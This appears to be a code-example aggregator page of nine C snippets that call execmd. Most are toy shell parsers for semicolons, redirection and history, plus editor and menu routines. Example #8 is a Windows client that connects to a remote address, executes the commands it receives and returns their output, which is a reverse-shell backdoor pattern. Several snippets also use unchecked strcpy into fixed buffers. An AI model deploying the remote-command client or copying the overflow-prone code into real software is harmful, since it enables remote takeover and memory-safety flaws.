Пример #1
0
void multiplecmd(char input[],int amp)
{
	 		
		char *token;
                char *token1;

		char p[256];
		int stat = 0;
		memset(p,0,256);
		if(strstr(input,";")){
		
		       token = strtok(input,";");
		       printf("%s\n",token);
		       		
			if(fork() == 0){		       
		       		execmd(token);
			}
		       wait(&stat);
		       if(token1= strtok(NULL,"")){
			        strcpy(p,token1);
				multiplecmd(token1,amp);
			}			
		       
		}
		else{
			
			execmd(input);
		}

		
		
}
Пример #2
0
void out_redirect(char input[]){
                int fd;
                char *tok;
		char path[256];
		char command[256];

		memset(path,0,256);
		memset(command,0,256);


                tok=strtok(input,">");
	        strcpy(command,tok);
		
                tok = strtok(NULL," ");
		if(tok[0] == ' '){
	                strcpy(path,tok+1);			
		}
		else{
			
		      strcpy(path,tok);		
		}
                
   

                fd = open(path,O_WRONLY|O_CREAT);
                close(1);
                dup(fd);
                close(fd);
                execmd(command);
		

}
Пример #3
0
void append_redirect(char input[]){
		//printf("!1\n");
                int fd;
                char *tok;
                char path[256];
                char command[256];

                memset(path,0,256);
                memset(command,0,256);


                tok=strtok(input,">");
		//printf("!2%s\n",tok);
                strcpy(command,tok);
		
                tok = strtok(NULL,">");
		//printf("!3%s\n",tok);
		if(tok[0] == ' '){
	                strcpy(path,tok+1);			
		}
		else{
			
		      strcpy(path,tok);		
		}
		//printf("!4%s\n",path);
                fd = open(path,O_RDWR|O_CREAT|O_APPEND);
                close(1);
                dup(fd);
                close(fd);
                execmd(command);

          


}
Пример #4
0
void do_auto_scroll()
{
	static CMD *scrup = 0;
	static CMD *scrdn = 0;
	static CMD *drag = 0;
	if (!scrup) {
		scrup = findcmd(USTR "upslide");
		scrdn = findcmd(USTR "dnslide");
		drag = findcmd(USTR "defmdrag");
	}
	if (auto_scroll > 0)
		execmd(scrdn,0);
	else if (auto_scroll < 0)
		execmd(scrup,0);

	execmd(drag,0);
		
	reset_trig_time();
}
Пример #5
0
void parser(char input[],int amp)
{
     if(fork() == 0){
		if(strcmp(input,"history")== 0){

			FILE *f;
			f=fopen("history.txt","r");
			char tmp[256];
			int hiscount= 1;
			while(fgets(tmp,256,f)!=NULL){
				printf("%d: %s\n",hiscount,tmp);
				hiscount ++;
		}
			fclose(f);		
		}

		if(strstr(input,";")){
			multiplecmd(input,amp);
		
		}

		else if(strchr(input,'>') ||strstr(input,"<")){
			if(strstr(input,">>")){
				append_redirect(input);
			}
			else if(strstr(input,">!")){
				owrite_redirect(input);
			}
			else if(strstr(input,"<")){
				input_redirect(input);
			}
			else{
				out_redirect(input);
			}		
		}
		else if(strstr(input,"|")){
		 	
			pipefunction(input,amp);
		}
	
		else{
			execmd(input);
		}
	
	}

	if(amp == 0){
		wait(&amp);
	}
}
Пример #6
0
int main(int argc, char* argv[])
{
    // struct addrinfo* ailist;
    // struct addrinfo* aip;
    // struct addrinfo hint;
    int sockfd, err;

    if (argc != 2)
        err_quit("usage: alist hostname");
    // hint.ai_flags = 0;
    // hint.ai_family = 0;
    // hint.ai_socktype = SOCK_STREAM;
    // hint.ai_protocol = 0;
    // hint.ai_addrlen = 0;
    // hint.ai_canonname = NULL;
    // hint.ai_addr = NULL;
    // hint.ai_next = NULL;
    // if ((err = getaddrinfo(argv[1], "ruptime", &hint, &ailist)) != 0)
    //     err_quit("getaddrinfo error: %s", gai_strerror(err));
    // for (aip = ailist; aip != NULL; aip = aip->ai_next)
    // {

    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        err = errno;
    struct sockaddr_in servaddr;
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(6121);
    inet_pton(AF_INET, argv[1], &servaddr.sin_addr);
    connect(sockfd, (struct sockaddr*) &servaddr, sizeof(servaddr));
    // if (connect_retry(sockfd, &servaddr, sizeof(servaddr)) < 0)
    // {
    //     err = errno;
    // }
    // else
    // {
    // print_uptime(sockfd);
    execmd(sockfd);
    exit(0);
    // }

    // }
    fprintf(stderr, "can't connect to %s: %s\n", argv[1], strerror(err));
    exit(0);
}
Пример #7
0
void *proc_echo(void *cache){
	int cnt;
	Parket buf={0};
	int fd=((Cache *)cache)->fd;
	while(1){
		cnt = read(fd,&buf,sizeof(Parket));
		if(cnt == 0){
			printf("client closed!\n");
			break;
		}else if(cnt == -1){
			if(errno==EINTR){
				continue;
			}else{
				break;
		}
		}else{
			switch(buf.data_type){
				case TYPE_REG:
						check_reg(cache,&buf);	
					break;
				case TYPE_LOGIN:
						check_log(cache,&buf);
					break;
				case TYPE_HEART:
						server_heart(cache);
					break;
				case TYPE_CMD:
					execmd(&buf,cache);
				case TYPE_EXIT:
					check_exit(&buf,cache);
					break;
				default :
					break;	
					
			}
		}
	}
	close(fd);
	return NULL;
}
Пример #8
0
int main(int argc, char const *argv[])

{
	char s[BUFFSIZE] = { 0 };
	char flag[5] = { 0 };
	char cmd[BUFFSIZE];
	char result[BUFFSIZE * 10];
	WCHAR cmd_w[BUFFSIZE] = { 0 };
	WSADATA wsaData;
	WSAStartup(MAKEWORD(2, 2), &wsaData);
	SOCKET sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	SOCKADDR_IN addrs;
	memset(&addrs, 0, sizeof(addrs));
	addrs.sin_family = PF_INET;
	addrs.sin_addr.s_addr = inet_addr(IPADDR);
	addrs.sin_port = htons(PORT);
	connect(sock, (SOCKADDR*)&addrs, sizeof(SOCKADDR));

	while (1) {
		ZeroMemory(cmd, sizeof(cmd));
		ZeroMemory(s, sizeof(s));
		ZeroMemory(result, sizeof(s));
		recv(sock, s, BUFFSIZE, NULL);
		strncpy(flag, s, 3);
		strncpy(cmd, s + 3, strlen(s) - 3);
		printf("[+]flag: %s\n", flag);
		printf("[+]cmd: %s\n", cmd);
		if (!strcmp(flag, "001")) {
			MultiByteToWideChar(CP_ACP, 0, cmd, BUFFSIZE, cmd_w, BUFFSIZE * 2);
			execmd(cmd_w, result);
			send(sock, result, strlen(result)+sizeof(char), 0);
			puts(result);
		}
	}
	closesocket(sock);
	WSACleanup();
	return 0;
}
Пример #9
0
static char *runudm (char *scale)
{
	/* user defined menu */
	register key, cm;
	BOX *box, *curbox;

	box = VGetBox (menurow-2, menucol-4, nm+4, menuwid+8);
	VSetDim ();
	VStandOut ();
	VFillBox (menurow-2, menucol-4, nm+4, menuwid+8, ' ');
	VDrawBox (menurow-1, menucol-1, nm+2, menuwid+2);
	mvcaddstr (menurow-1, 40, " User Menu ");
	printudm ();
	VSetNormal ();
	VStandEnd ();
	cm = 0;
	for (;;) {
		curbox = VGetBox (menurow+cm, menucol, 1, menuwid);
		VPrintBox (curbox);
		hidecursor ();
		VSync ();
		key = KeyGet ();
		VUngetBox (curbox);
		VFreeBox (curbox);
		switch (key) {
		default:
findmenu:
			if (key>0 && key<0200 && scale [key] < MENUSZ) {
				cm = scale [key];
				break;
			}
			VBeep ();
			continue;
		case meta ('A'):        key = 1;        goto findmenu;
		case meta ('B'):        key = 2;        goto findmenu;
		case meta ('C'):        key = 3;        goto findmenu;
		case meta ('D'):        key = 4;        goto findmenu;
		case meta ('E'):        key = 5;        goto findmenu;
		case meta ('F'):        key = 6;        goto findmenu;
		case meta ('G'):        key = 7;        goto findmenu;
		case meta ('H'):        key = 8;        goto findmenu;
		case meta ('I'):        key = 9;        goto findmenu;
		case cntrl (']'):          /* redraw screen */
			VRedraw ();
			continue;
		case cntrl ('M'):
		case cntrl ('J'):
			break;
		case cntrl ('C'):
		case cntrl ('['):
		case meta ('J'):           /* f0 */
			cm = -1;
			break;
		case meta ('u'):          /* up */
			if (--cm < 0)
				cm = nm-1;
			continue;
		case meta ('d'):          /* down */
			if (++cm >= nm)
				cm = 0;
			continue;
		}
		break;
	}
	VUngetBox (box);
	VFreeBox (box);
	if (cm >= 0 && um[cm].cex) {
		if (um[cm].menu)
			return (um[cm].cex);
		/* execute command from menu */
		expand (command, um[cm].cex, cur->cat[cur->curfile].name);
		cpos = strlen (command);
		if (command [0])
			execmd (um[cm].wait, um[cm].hist);
	}
	return ((char *) 0);
}